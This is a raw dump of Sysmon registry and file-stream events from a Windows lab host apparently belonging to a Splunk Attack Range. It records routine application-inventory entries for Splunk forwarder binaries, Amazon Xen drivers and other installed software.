14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-netmon.ex|1a876d8838ded3dd\BinProductVersion2048.512.24125.32311 13241300x800000000000000038023Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-netmon.ex|1a876d8838ded3dd\LinkDate02/07/2020 15:18:57 13241300x800000000000000038022Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-netmon.ex|1a876d8838ded3dd\Publishersplunk inc. 13241300x800000000000000038021Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-netmon.ex|1a876d8838ded3dd\LowerCaseLongPathc:\program files\splunkuniversalforwarder\bin\splunk-netmon.exe 13241300x800000000000000038020Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-monitorno|903ef6eeb885a45b\BinProductVersion10.0.10011.16384 13241300x800000000000000038019Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-monitorno|903ef6eeb885a45b\LinkDate02/07/2020 15:18:52 13241300x800000000000000038018Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-monitorno|903ef6eeb885a45b\Publisherwindows (r) win 7 ddk provider 13241300x800000000000000038017Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-monitorno|903ef6eeb885a45b\LowerCaseLongPathc:\program files\splunkuniversalforwarder\bin\splunk-monitornohandle.exe 13241300x800000000000000038016Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-compresst|40738d14a4b5ef86\BinProductVersion2048.512.24125.32311 13241300x800000000000000038015Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-compresst|40738d14a4b5ef86\LinkDate02/07/2020 15:13:21 13241300x800000000000000038014Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-compresst|40738d14a4b5ef86\Publishersplunk inc. 13241300x800000000000000038013Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-compresst|40738d14a4b5ef86\LowerCaseLongPathc:\program files\splunkuniversalforwarder\bin\splunk-compresstool.exe 13241300x800000000000000038012Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-admon.exe|eab473bd2c77f301\BinProductVersion2048.512.24125.32311 13241300x800000000000000038011Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-admon.exe|eab473bd2c77f301\LinkDate02/07/2020 15:19:19 13241300x800000000000000038010Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-admon.exe|eab473bd2c77f301\Publishersplunk inc. 13241300x800000000000000038009Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splunk-admon.exe|eab473bd2c77f301\LowerCaseLongPathc:\program files\splunkuniversalforwarder\bin\splunk-admon.exe 13241300x800000000000000038008Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splknetdrv.sys|9d837bc7abc517f\BinProductVersion10.0.10011.16384 13241300x800000000000000038007Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splknetdrv.sys|9d837bc7abc517f\LinkDate09/27/2019 18:25:44 13241300x800000000000000038006Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splknetdrv.sys|9d837bc7abc517f\Publisherwindows (r) win 7 ddk provider 13241300x800000000000000038005Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\splknetdrv.sys|9d837bc7abc517f\LowerCaseLongPathc:\program files\splunkuniversalforwarder\bin\splknetdrv.sys 13241300x800000000000000038004Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\openssl.exe|fe2747d40e70e115\BinProductVersion(Empty) 13241300x800000000000000038003Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\openssl.exe|fe2747d40e70e115\LinkDate01/10/2020 00:48:57 13241300x800000000000000038002Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\openssl.exe|fe2747d40e70e115\Publisher(Empty) 13241300x800000000000000038001Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\openssl.exe|fe2747d40e70e115\LowerCaseLongPathc:\program files\splunkuniversalforwarder\bin\openssl.exe 13241300x800000000000000038000Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\classify.exe|c62b2c99ddbdcd65\BinProductVersion2048.512.24125.32311 13241300x800000000000000037999Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\classify.exe|c62b2c99ddbdcd65\LinkDate02/07/2020 15:13:14 13241300x800000000000000037998Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\classify.exe|c62b2c99ddbdcd65\Publishersplunk inc. 13241300x800000000000000037997Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\classify.exe|c62b2c99ddbdcd65\LowerCaseLongPathc:\program files\splunkuniversalforwarder\bin\classify.exe 13241300x800000000000000037996Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\btprobe.exe|ca8341d242e7a488\BinProductVersion2048.512.24125.32311 13241300x800000000000000037995Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\btprobe.exe|ca8341d242e7a488\LinkDate02/07/2020 15:12:56 13241300x800000000000000037994Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\btprobe.exe|ca8341d242e7a488\Publishersplunk inc. 13241300x800000000000000037993Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\btprobe.exe|ca8341d242e7a488\LowerCaseLongPathc:\program files\splunkuniversalforwarder\bin\btprobe.exe 13241300x800000000000000037992Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\btool.exe|4e68b21196df7ca2\BinProductVersion2048.512.24125.32311 13241300x800000000000000037991Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\btool.exe|4e68b21196df7ca2\LinkDate02/07/2020 15:12:56 13241300x800000000000000037990Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\btool.exe|4e68b21196df7ca2\Publishersplunk inc. 13241300x800000000000000037989Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\btool.exe|4e68b21196df7ca2\LowerCaseLongPathc:\program files\splunkuniversalforwarder\bin\btool.exe 13241300x800000000000000037988Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplication\00006e465eb93b9ef9ed1111015f594f733000000904\PublisherSplunk, Inc. 13241300x800000000000000037987Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.199{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplication\0000a32b64966830ad0100b29547ca55110200000904\PublisherAmazon Web Services 13241300x800000000000000037986Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.152{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\vstoinstaller.ex|c0ef73c374d5c127\BinProductVersion10.0.60828.0 13241300x800000000000000037985Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.152{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\vstoinstaller.ex|c0ef73c374d5c127\LinkDate12/22/2017 05:08:07 13241300x800000000000000037984Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.152{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\vstoinstaller.ex|c0ef73c374d5c127\Publishermicrosoft corporation 13241300x800000000000000037983Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.152{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\vstoinstaller.ex|c0ef73c374d5c127\LowerCaseLongPathc:\program files\common files\microsoft shared\vsto\10.0\vstoinstaller.exe 13241300x800000000000000037982Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.152{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\vstoinstaller.ex|4af637e234df85fb\BinProductVersion10.0.60828.0 13241300x800000000000000037981Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.152{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\vstoinstaller.ex|4af637e234df85fb\LinkDate12/22/2017 05:12:25 13241300x800000000000000037980Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.152{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\vstoinstaller.ex|4af637e234df85fb\Publishermicrosoft corporation 13241300x800000000000000037979Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.152{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\vstoinstaller.ex|4af637e234df85fb\LowerCaseLongPathc:\program files (x86)\common files\microsoft shared\vsto\10.0\vstoinstaller.exe 13241300x800000000000000037978Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.152{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplication\00008ec035f743c685a78b10837512fd79d000000000\PublisherMicrosoft Corporation 13241300x800000000000000037977Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.089{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssm-agent-worker|7d818f178f6c8fa8\BinProductVersion(Empty) 13241300x800000000000000037976Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.089{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssm-agent-worker|7d818f178f6c8fa8\LinkDate01/01/1970 00:00:00 13241300x800000000000000037975Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.089{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssm-agent-worker|7d818f178f6c8fa8\Publisher(Empty) 13241300x800000000000000037974Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.089{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ssm-agent-worker|7d818f178f6c8fa8\LowerCaseLongPathc:\program files\amazon\ssm\ssm-agent-worker.exe 13241300x800000000000000037973Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.089{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplication\0000baee2e2803b311fae39811010e5c0b1800000904\PublisherAmazon Web Services 23542300x800000000000000037972Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:15.058{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\PG3AN2E5Y1\PresentationFramework.ni.dll.auxMD5=1CD640D915EAE872FC60479FB1991D49,SHA256=4136E63F0E092B2DB0DB99F29185481D5F9CF9273FB96BB33273FC4B8F077704,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000037971Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xenvif.sys|cb31ee26ddd80e14\BinProductVersion8.2.9.8 13241300x800000000000000037970Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xenvif.sys|cb31ee26ddd80e14\LinkDate07/08/2020 18:42:42 13241300x800000000000000037969Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xenvif.sys|cb31ee26ddd80e14\Publisheramazon inc. 13241300x800000000000000037968Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xenvif.sys|cb31ee26ddd80e14\LowerCaseLongPathc:\program files\amazon\xentools\.drivers\xenvif\xenvif.sys 13241300x800000000000000037967Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xenvbd.sys|1569d4886cd76c31\BinProductVersion8.4.0.11 13241300x800000000000000037966Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xenvbd.sys|1569d4886cd76c31\LinkDate01/12/2021 17:17:37 13241300x800000000000000037965Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xenvbd.sys|1569d4886cd76c31\Publisheramazon inc. 13241300x800000000000000037964Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xenvbd.sys|1569d4886cd76c31\LowerCaseLongPathc:\program files\amazon\xentools\.drivers\xenvbd\xenvbd.sys 13241300x800000000000000037963Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xennet.sys|b6a1491527cb2a5f\BinProductVersion8.2.5.32 13241300x800000000000000037962Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xennet.sys|b6a1491527cb2a5f\LinkDate11/19/2018 22:01:56 13241300x800000000000000037961Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xennet.sys|b6a1491527cb2a5f\Publisheramazon inc. 13241300x800000000000000037960Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xennet.sys|b6a1491527cb2a5f\LowerCaseLongPathc:\program files\amazon\xentools\.drivers\xennet\xennet.sys 13241300x800000000000000037959Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xeniface.sys|79e991f7eda45e8b\BinProductVersion8.2.7.5 13241300x800000000000000037958Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xeniface.sys|79e991f7eda45e8b\LinkDate12/16/2019 19:58:01 13241300x800000000000000037957Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xeniface.sys|79e991f7eda45e8b\Publisheramazon inc. 13241300x800000000000000037956Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xeniface.sys|79e991f7eda45e8b\LowerCaseLongPathc:\program files\amazon\xentools\.drivers\xeniface\xeniface.sys 13241300x800000000000000037955Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xenfilt.sys|5ed52abf02907bc4\BinProductVersion8.3.0.7 13241300x800000000000000037954Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xenfilt.sys|5ed52abf02907bc4\LinkDate02/12/2021 02:15:56 13241300x800000000000000037953Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xenfilt.sys|5ed52abf02907bc4\Publisheramazon inc. 13241300x800000000000000037952Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 